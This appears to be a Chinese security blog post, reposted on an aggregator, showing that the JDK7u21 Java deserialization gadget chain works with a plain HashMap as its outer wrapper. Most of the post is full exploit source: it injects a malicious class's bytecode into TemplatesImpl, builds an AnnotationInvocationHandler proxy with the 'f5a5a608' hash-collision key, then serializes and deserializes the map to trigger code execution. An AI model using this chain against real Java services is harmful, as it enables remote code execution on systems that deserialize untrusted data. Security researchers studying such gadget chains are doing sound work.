当前位置: 首页 > news >正文

JDK7u21 HashMap版

今天在搞ROME HotSwappableTargetSource链的时候突然发现,JDK7U21反序列化链不仅HashMap.put触发了key.equals

image-20240910204239313

putForCreate也调用了

image-20240923223431476

而且HashMap.readObject直接调用了putForCreate来还原

image-20240923223524583

what?直接向HashMap两个put不就完了,还搞什么HashSet

开弄!

package org.exploit.misc;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.shiro.crypto.hash.Hash;import javax.xml.transform.Templates;
import java.io.IOException;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;public class JDK7u21_HashMap {public static void main(String[] args) throws Exception {byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\RuntimeEvil.class"));TemplatesImpl templatesClass = new TemplatesImpl();Field[] fields = templatesClass.getClass().getDeclaredFields();for (Field field : fields) {field.setAccessible(true);if (field.getName().equals("_bytecodes")) {field.set(templatesClass, new byte[][]{code1});} else if (field.getName().equals("_name")) {field.set(templatesClass, "godown");} else if (field.getName().equals("_tfactory")) {field.set(templatesClass, new TransformerFactoryImpl());}}Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);HashMap Annovar2map = new HashMap();Annovar2map.put("f5a5a608",templatesClass);InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, Annovar2map);Field typeField = annotationInvocationHandler.getClass().getDeclaredField("type");typeField.setAccessible(true);Map annoProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);HashMap annoset = new HashMap();annoset.put(annoProxy,"godown");annoset.put(templatesClass,"godown");typeField.set(annotationInvocationHandler, Templates.class);serialize(annoset);unserialize("ser.bin");}public static void serialize(Object obj) throws Exception{java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);oos.writeObject(obj);oos.close();}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{java.io.FileInputStream fis = new java.io.FileInputStream(Filename);java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);Object obj = ois.readObject();ois.close();return obj;}
}

所以JDK7u21最外层,用HashMap,HashSet,LinkedHashSet都是可以的

image-20240923225801055


http://www.mrgr.cn/news/34562.html

相关文章:

  • Go八股(Ⅴ)map
  • caozha-CEPCS(新冠肺炎疫情防控系统)
  • 刷错学校了—河工大oj 1051- 1072 做题笔记
  • FP独立站引流革命:GG斗篷技术解锁流量新策略
  • Tailwind 安装使用
  • JVM垃圾回收详解二(重点)
  • C++之STL—vector容器进阶篇
  • Spring源码学习:SpringMVC(2)DispatcherServlet初始化【子容器9大组件】
  • go解决引入私有包报错“Repository owner does not exist“的两种方式
  • 难题妙解——前K个高频单词
  • Vue从入门到精通:全方位掌握Vue.js开发技能
  • CF 461 B Appleman and Tree 题解(树形 dp+排列组合)
  • MySQL和SQL的区别简单了解和分析使用以及个人总结
  • 手写数字识别案例分析(torch,深度学习入门)
  • 看Threejs好玩示例,学习创新与技术(React-three-fiber)
  • 有空格输入
  • Java设计模式——工厂模式扩展
  • Vue3(二)计算属性Computed,监视属性watch,watchEffect,标签的ref属性,propos属性,生命周期,自定义hook
  • gtk安装和测试
  • 半导体芯闻--20240923
  • Vue使用Vue Router路由:通过URL传递与获取参数
  • excel怎么转换json
  • Java刷题知识总结(一)
  • mapty项目架构
  • 【链表操作】前驱和后继
  • 个人防护装备检测系统源码分享